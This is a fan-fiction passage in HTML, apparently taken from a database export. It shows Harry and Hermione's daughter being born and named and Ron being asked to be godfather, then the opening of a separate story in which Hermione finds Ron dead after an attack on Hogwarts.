&#8220;They&#8217;re ready for you to come on back now. She&#8217;s been asking for you.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius walked over to Harry as did Molly, Robert and Arthur. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Tell her that we&#8217;re out here and we&#8217;re thinking of her and the baby,&#8221; Molly said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I will,&#8221; Harry said. &#8220;It means a lot to us both that you&#8217;re here.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Molly smiled. &#8220;I wouldn&#8217;t miss it. You and Hermione are like my own children, you know that. You always have been, no matter what.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry hugged Molly tightly. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thank you,&#8221; he whispered in her ear. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He let Molly go and smiled nervously at the others. &#8220;Next time, I see you, I&#8217;ll be telling you good news.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Too right you will,&#8221; Sirius said, brightly. &#8220;Now get out of here and go see your wife.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, sir,&#8221; Harry said, and he followed the nurse through the double doors and down a long hallway. She stopped at a set of doors and swung the door open and Harry stood at the doorway. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was lying on her hospital bed. She looked and no doubt felt exhausted. Her cheeks were flushed and red and she was sweating. Her mother, Karen, was wiping her forehead with a cold, wet cloth. Hermione wore a pained expression. Karen noticed Harry first. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;There he is,&#8221; she said, smiling at him. &#8220;The proud father-to-be in the flesh. Come on in, Harry.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry gave his wife a reassuring smile and she tried to return the smile, but at that moment another contraction interrupted her attempt at a smile. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;OHHHHHHHHHHHHHHHHHH!!!!!!&#8221; she exclaimed, clamping hard on her mother&#8217;s arm. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry rushed to her other side and took her hand. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you okay?&#8221; he asked, his voice full of concern. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Just peachy,&#8221; Hermione said, rolling her eyes. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sorry, stupid question,&#8221; Harry said sheepishly. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m sorry, Harry,&#8221; Hermione said. &#8220;I shouldn&#8217;t get upset with you. This is a new experience for both of us. I should try and remember that. It&#8217;s just a little hard when this excruciating pain goes through my entire body.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry laughed. He leaned in and kissed her forehead. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Mum,&#8221; Hermione said, turning to face her mother. &#8220;Why don&#8217;t you take a break and see Daddy and let him know how I&#8217;m doing. I know you need the break.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you sure, sweetheart?&#8221; Karen asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Positive,&#8221; Hermione said. &#8220;Harry&#8217;s here now.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; Karen said. &#8220;I could do with a cup of coffee. I&#8217;ll be back soon, okay?&#8221;<br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded and watched as her mother left the room. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Have they given you anything for the pain?&#8221; Harry asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;They gave me a little something, but they couldn&#8217;t risk anything too strong, they don&#8217;t want to compromise the health of the baby,&#8221; Hermione said. &#8220;Sometimes, I wish we&#8217;d done this at a Muggle hospital. There&#8217;s this thing called an epidural that I&#8217;d kill for right about now.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; All of a sudden Hermione&#8217;s grip on Harry&#8217;s hand tightened considerably and he looked up to see a&nbsp; look of pain and discomfort come over her face. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ohhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh!&#8221; she exclaimed. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione,&#8221; Harry said, feeling as if the bones in his hand were about ready to break. &#8220;Sweetheart, my hand&#8230;bones breaking&#8230;hello, Hermione?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She finally let go of his hand when the contraction passed. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Sorry,&#8221; she whispered. &#8220;That was a really bad one.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s okay,&#8221; Harry said, shaking his hand. &#8220;You&#8217;ve got quite a strong grip there.&#8221; </p>\n\n<p>Six hours later&#8230;.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione still hadn&#8217;t given birth, yet, and her contractions were coming closer together and becoming more painful. Harry&#8217;s hands were numb from where she&#8217;d gripped tightly on them. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They&#8217;d decided they didn&#8217;t want to know the sex of the baby ahead of time. At the moment, Hermione didn&#8217;t really care one way or the other if it was a boy or a girl. All she cared about or knew at that very moment was that she was ready for this baby to get out. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She tried to smile as the mediwizard in charge of delivery, Tally Thompson, came into the room. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I hear we&#8217;re ready for that baby to come on out,&#8221; Tally said. &#8220;So, let&#8217;s not hold it up any longer. You ready?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes,&#8221; Hermione said. &#8220;More than you could ever know.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay, then,&#8221; Tally said, taking a seat at the edge of the bed. &#8220;Let&#8217;s get to it then.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay, Hermione,&#8221; Tally said. &#8220;I want you to give me a good push.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione did so. She grabbed hold of Harry by the collar and pulled him closer to her. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry,&#8221; she said. &#8220;We are never going to have sex again, okay? Never, ever again.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry laughed.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m serious,&#8221; she said, forcefully.&nbsp; She finally let go of his collar and Harry sat back down on the chair beside the bed. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Tally looked up and laughed. &#8220;We&#8217;ll talk about that later, Mr. and Mrs. Potter. Right now, I need you to push once more, Hermione.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Again, Hermione did as she was told. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Good, good,&#8221; Tally said. &#8220;I can see the baby&#8217;s head. You&#8217;re doing good, sweetie. Can you give me one more good push?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I c-c-can&#8217;t do it,&#8221; Hermione said, her voice trembling. &#8220;I don&#8217;t think I can.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, you can,&#8221; Harry said. &#8220;You&#8217;re nearly there, Hermione. Just one more push.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione scowled. &#8220;Well if you think it&#8217;s so easy, Harry, why don&#8217;t you do it?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;m just trying to help,&#8221; Harry said, defensively. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, don&#8217;t,&#8221; Hermione said, &#8220;you are doing the opposite of helping.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Tally looked up at the two of them. &#8220;If you two don&#8217;t mind, this baby would really like to come out, so if you&#8217;d quit arguing for one second and give me one more push, that would be brilliant, okay?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, all right!&#8221; Hermione exclaimed, pushing with every last ounce of energy she had left. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Within seconds, a baby&#8217;s cry filled the room. Hermione looked expectantly at Tally, who held the baby up and exclaimed, &#8220;Well, look at that! You two have a beautiful, healthy baby girl!&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;A girl!&#8221; Hermione exclaimed. &#8220;We have a little girl, Harry!&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We sure do,&#8221; Harry said. &#8220;Well done, Hermione! Well, done! Listen to her! Music to my ears!&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The baby continued to cry as one of the nurses took her to the side to clean her up and wrap her in a blanket. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Tally smiled. &#8220;Just remember that when she&#8217;s waking you up at <st1:time minute="0" hour="15">three o&#8217;clock</st1:time> in the morning. Then, we&#8217;ll talk about music to your ears!&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Both Hermione and Harry laughed. Hermione relaxed and lay back all the way on the bed. She was exhausted and wanted to get some sleep, but more than anything she wanted to hold her daughter in her arms. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The nurse brought the blanket-clad baby over to them and placed her gingerly in Hermione&#8217;s waiting arms. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How can you love someone so much that you just met?&#8221; Hermione asked, smiling broadly at her baby girl. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I was just thinking the same thing,&#8221; Harry said, leaning in and kissing his daughter on her forehead. &#8220;She&#8217;s so tiny.&#8221;</p>\n\n<p>&#8220;Would you like to hold her?&#8221; Hermione asked, handing him the baby. </p>\n\n<p>Harry held his little girl in his arms and never remembered in all his life ever being this content and peaceful. This felt right. This felt like a little slice of heaven on earth. </p>\n\n<p>&#8220;Hey, I&#8217;m outnumbered in our little family, here,&#8221; Harry said. &#8220;Two girls against me. We&#8217;re going to have to give her a little brother, soon.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione glared at him. &#8220;I&#8217;ll get back to you on that.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Tally smiled at the three of them. &#8220;Well, I hate to break up this scene, but we&#8217;re going to need to take the baby just for a little while, make sure she&#8217;s okay and let the little mother here get some rest. You, too, Harry.&#8221; &nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A nurse came over and reluctantly took the baby away from her parents. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I love you,&#8221; he said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I love you,&#8221; she repeated. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ****</p>\n\n<p>The next day, Hermione and Harry were visiting the baby in the nursery when one of the mediwizards came toward them about the birth certificate. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We need to know if you&#8217;ve chosen a name,&#8221; she said expectantly. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry looked at Hermione. They had thrown around a number of names in the past few weeks, but nothing concrete had been decided. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I have a suggestion,&#8221; Hermione said. &#8220;Feel free to veto if you like, but I&#8217;ve been thinking about this for awhile and I kinda have an idea.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; Harry said. &#8220;As long as it&#8217;s not Delores or Rita or anything like that.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh good heavens, no,&#8221; Hermione said, laughing. &#8220;Actually, I was thinking of Lily Caroline Potter. Lily, of course, in honor of your mother, and Caroline, because I&#8217;ve always liked that name. What do you think?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry kissed her softly. &#8220;I love it.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione smiled gleefully. &#8220;You do?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes,&#8221; Harry said. &#8220;I really do. I&nbsp; think it&#8217;s brilliant altogether, but let&#8217;s ask her what she thinks, huh?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He took the baby from the nurse and smiled at her, &#8220;So, my little sweetheart, what do you think of the name Lily Caroline Potter?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The baby just stared at him blankly. &#8220;I&#8217;ll take your non-answer as a </p>\n\n<p>&#8216;yes&#8217;.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione snickered. &#8220;Lily Caroline, your father is a certifiable goofball.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t listen to her,&#8221; Harry said, laughing. &#8220;So, what about the other thing we talked about? Do you think he&#8217;ll do it?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked thoughtful. &#8220;I hope so. There&#8217;s one way to find out.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A couple of hours later, Hermione was packing up her bag and getting ready to be discharged from the hospital. Harry was busily loading the flowers, cards and balloons she&#8217;d received onto a trolley cart. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A knock on the door startled both of them and they turned to find Ron smiling at them. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You making a break for it, Hermione?&#8221; Ron asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione grinned. &#8220;Yeah, they&#8217;re letting me out for good behavior.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I just saw the baby outside with your mum, Hermione, and all I have to say is, it&#8217;s a good thing she seems to have gotten all her looks from you.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hey!&#8221; Harry said. &#8220;I am right here, you know.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, Harry,&#8221; Ron said cheekily. &#8220;I didn&#8217;t see you over there.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So, how was the road trip?&#8221; Hermione asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Great. We won two out of three. I would have been here sooner, but that dictator coach of mine wouldn&#8217;t hear of it. I wish I could have been here to see it.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, you don&#8217;t,&#8221; Hermione said. &#8220;It wasn&#8217;t exactly my finest moment.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I still have the battle scars to show for it,&#8221; Harry said, showing Ron his hands that still bore bruises and scratches. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I told you she was mental the first day we met her, didn&#8217;t I?&#8221; Ron said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione threw a towel at him. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, we&#8217;re glad to see you, Ron,&#8221; Harry said. &#8220;Because we have something important to ask you.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay, shoot,&#8221; Ron said, taking a seat on the hospital bed. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, we&#8217;ve already asked Ginny and she&#8217;s agreed to be the godmother and we were hoping that if you wouldn&#8217;t mind, we&#8217;d be honored for you to be our baby&#8217;s godfather,&#8221; Harry said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione wrapped an arm around Harry. &#8220;We&#8217;d understand if you didn&#8217;t want to, Ron, but please understand that we couldn&#8217;t think of a finer person to entrust our baby to than you should anything ever happen to either of us.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron looked at both of them, amazed. He didn&#8217;t know what to say.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron?&#8221; Harry asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I, uh,&#8221; Ron stuttered. &#8220;I can&#8217;t believe that you&#8217;d want me, I mean-&#8220; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We do,&#8221; Harry interrupted. &#8220;You were our first and only choice for this. You&#8217;d really be helping us out if you&#8217;d say yes.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I&#8217;d be honored,&#8221; Ron said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You would?&#8221; Hermione asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes, I accept,&#8221; Ron said, breaking into a smile. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione squealed happily and threw her arms around Ron. Harry joined in and for the longest time, they stood there in a group hug. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; This was definitely the way things were meant to be. </p> '),
	(256, 1, '\n\n<p> Ron was dead. <br>\n<br>\n Hermione concluded finally as she bent over him, her scrapped knees quivering in fear and sorrow. Her face was pale and drawn, bushy brown hair tangled and sweat soaked, as it hung around her like a dark veil. Her Hogwarts Graduation robes were torn in various places and clung to her in shreds, a long gash at her shoulder spilling deep red blood across the black sleeve that hung loosely on her left arm, wand hanging uselessly in cold shivering fingers. <br>\n<br>\n She was past tears. The pain and death that quivered and shifted in the magic charged air, was too thick and pressing to allow for the small relief of tears. The intense sufferings that had occurred that night were almost beyond belief, Hermione found herself in a daze, too shocked to fully comprehend what had taken place. But one thing was for certain, her best friend, Ronald Weasly, was lying unmoving before her. <br>\n<br>\n With a strangled cry that was half sob half scream, Hermione threw herself down beside Ron&#8217;s broken, deformed body. She shivered with a deep coursing hate and trembled with sadness, afraid to touch the familiar body before her, unable to believe that someone so close to her was really gone. <br>\n<br>\n He hadn&#8217;t died bravely or nobly as he deserved. One of the dark robed figures had lift his arm slowly as Ron struggled for breath, the fire clogging his lungs, and whispered the killing curse, taking Ron&#8217;s life away in an instant. Ron&#8217;s death had been short and cowardly, and in Hermione&#8217;s eyes, a death that was unworthy of someone so good and kind. <br>\n<br>\n She crawled over to him slowly, her head throbbing in pain as a bone weary ache sunk into her fear struck body. <i>Please God, don&#8217;t let him be dead, </i>she prayed over and over again, though, deep down she knew that her prayers were in vain.<br>\n<br>\n Ron&#8217;s deep blue eyes were pale and shallow, the spark of bravery and mischief gone from their wide staring depths. He still wore the tattered remains of his silk black Graduation robes, the Gryffindor crest sown to his left breast the charred remains of the Hogwarts shield just above it. The chest beneath was still, no sound came from between him blue chapped lips. There was no blood, no sign of pain or struggle, there was only emptiness. An emptiness that cut deeper than  any curse or wound, for with that emptiness came one underlying truth.<br>\n<br>\n Ron was dead. <br>\n<br>\n <i>And where was the great Harry Potter?</i> <br>\n<br>\nHermione remembered screaming for him as a Death Eater descended on her, but he had not come to her aid, in fact she had not seen Harry since he&#8217;d smiled at her from across the large room as they announced that years Valedictorian, which she vaguely remembered being herself. <br>\n<br>\n<i>Why hadn&#8217;t Harry saved Ron? <br>\n<br>\nWhy wasn&#8217;t he here now to help her?<br>\n<br>\nWhere was the Boy-Who-Lived, when the world need him most?</i><br>\n<br>\nHermione turned away from the lifeless form of her best friend bitterly, and looked around at the emptiness that used to be her home, her school, her life. <br>\n<br>\nHogwarts was as charred and dead as Ron. The high enchanted ceiling of the Great Hall was gone and open to revel the real night sky, which was black and star less. Huge bricks and mounds of stone littered the once bright floors of the Great Hall, and over turned tables and chairs lay strewn everywhere. Shattered plates and goblets glittered in the patches of fire that still burned their way 